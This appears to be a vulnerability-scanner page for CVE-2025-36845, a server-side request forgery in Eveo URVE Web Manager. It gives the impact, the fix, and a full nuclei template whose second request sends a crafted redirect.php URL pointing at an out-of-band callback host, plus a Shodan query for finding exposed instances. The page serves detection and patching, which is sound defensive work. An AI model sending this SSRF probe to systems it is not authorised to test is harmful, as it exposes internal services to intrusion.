Eveo URVE Web Manager - Server-Side Request Forgery

highseverity

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Eveo URVE Web Manager 27.02.2025 contains a server-side request forgery caused by improper validation of URL input in /_internal/redirect.php, letting attackers make requests to internal endpoints, exploit requires crafted URL input.

Impact

Attackers can make requests to internal-only accessible endpoints, potentially exposing sensitive internal services or data.

Fix

Update to the latest version with SSRF protections or apply input validation to restrict URL requests.

How to confirm it

Send: GET {{BaseURL}}/urve/site/login.html?lang=en
Positive when: contains(body, 'URVE Web Manager') and status_code == 200
Send: GET {{BaseURL}}/_internal/redirect.php?url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-36845 -u <target>

The full check

id: CVE-2025-36845

info:
  name: Eveo URVE Web Manager - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Eveo URVE Web Manager 27.02.2025 contains a server-side request forgery caused by improper validation of URL input in /_internal/redirect.php, letting attackers make requests to internal endpoints, exploit requires crafted URL input.
  impact: |
    Attackers can make requests to internal-only accessible endpoints, potentially exposing sensitive internal services or data.
  remediation: |
    Update to the latest version with SSRF protections or apply input validation to restrict URL requests.
  reference:
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-035.txt
    - https://smartoffice.expert/en
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"URVE Web Manager"
  tags: cve,cve2025,eveo,ssrf,oast,oob,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/urve/site/login.html?lang=en"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'URVE Web Manager')"
          - "status_code == 200"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/_internal/redirect.php?url=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from